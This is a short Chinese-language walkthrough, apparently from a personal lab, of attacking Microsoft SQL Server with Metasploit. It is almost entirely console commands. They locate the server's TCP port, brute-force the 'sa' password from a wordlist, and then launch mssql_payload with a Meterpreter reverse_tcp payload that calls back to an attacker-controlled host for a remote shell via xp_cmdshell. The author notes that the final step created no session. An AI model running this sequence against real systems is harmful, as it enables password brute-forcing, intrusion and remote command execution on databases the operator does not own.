首先通過UDP1434端口，查詢Sql server服務(wù)的TCP動態(tài)端口

msf > use auxiliary/scanner/mssql/mssql_ping

msf auxiliary(mssql_ping) > set rhosts 192.168.80.33

msf auxiliary(mssql_ping) > set threads 16

msf auxiliary(mssql_ping) > exploit

然后暴力破解sa用戶的密碼

msf auxiliary(mssql_ping) > use auxiliary/scanner/mssql/mssql_login

msf auxiliary(mssql_login) > set rhosts 192.168.80.33

msf auxiliary(mssql_login) > set username sa

msf auxiliary(mssql_login) > set pass_file /root/1.txt

msf auxiliary(mssql_login) > exploit

xp_cmdshell

以sa用戶運行mssql時，可以執(zhí)行xp_cmdshell存儲過程，該存儲過程允許直接與操作系統(tǒng)進行交互并執(zhí)行命令。

msf auxiliary(mssql_login) > use exploit/windows/mssql/mssql_payload

msf exploit(mssql_payload) > set payload windows/meterpreter/reverse_tcp

msf exploit(mssql_payload) > set lhost 192.168.80.163

msf exploit(mssql_payload) > set rhost 192.168.80.33

msf exploit(mssql_payload) > set password 123456

msf exploit(mssql_payload) > exploit

成功exploit后，會獲得目標(biāo)主機meterpreter shell。但是我并沒有測試成功，上傳Stage完成后，提示如下內(nèi)容。。

[*] Exploit completed, but no session was created.